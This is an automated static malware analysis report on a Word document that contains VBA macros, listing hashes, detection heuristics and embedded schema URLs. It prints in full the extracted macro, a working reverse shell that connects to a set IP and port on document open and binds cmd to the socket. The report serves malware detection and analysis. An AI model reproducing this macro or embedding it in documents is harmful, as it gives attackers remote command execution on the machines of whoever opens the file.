Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 74e64400e5db0499…

MALICIOUS

Office (OOXML)

21.3 KB Created: 2021-02-06 11:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-19
MD5: 791ec4b7f7280461ff698ece549db846 SHA-1: 6c94cdab1c5f35b1ab731dc411db566e9613d3a6 SHA-256: 74e64400e5db0499f8565f1a03619d68051d7904eb0464bf892b2fdb7109f975
150 Risk Score

Heuristics 4

  • ClamAV: Doc.Malware.Valyria-10003133-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10003133-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5956 bytes
SHA-256: 0fda43e7c513b702a383e4e7f29243f3d93b0cd8297c928b34616c6a37087ed4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Replace with your IP and Port
Const ip = "192.168.149.128"
Const port = "4444"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1

Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr
    ai_addr As LongPtr
    ai_next As LongPtr
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As String
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512

    RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
        
        If (m_ConnSocket = INVALID_SOCKET) Then
            revShell = False
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If
            
            closesocket (m_ConnSocket)
            revShell = False
        End If
    Loop

    If Not connected Then
        revShell = False
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
    revShell = worked
End Function

Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
    MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function

Sub AutoOpen()
    Dim success As Boolean
    success = revShell()
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 8b5f3aba239a45832665415b37a90a2c03c6680d9b4e280c6ab6e480f1740b88
Detection
ClamAV: Doc.Malware.Valyria-10003133-0
Obfuscation or payload: unlikely

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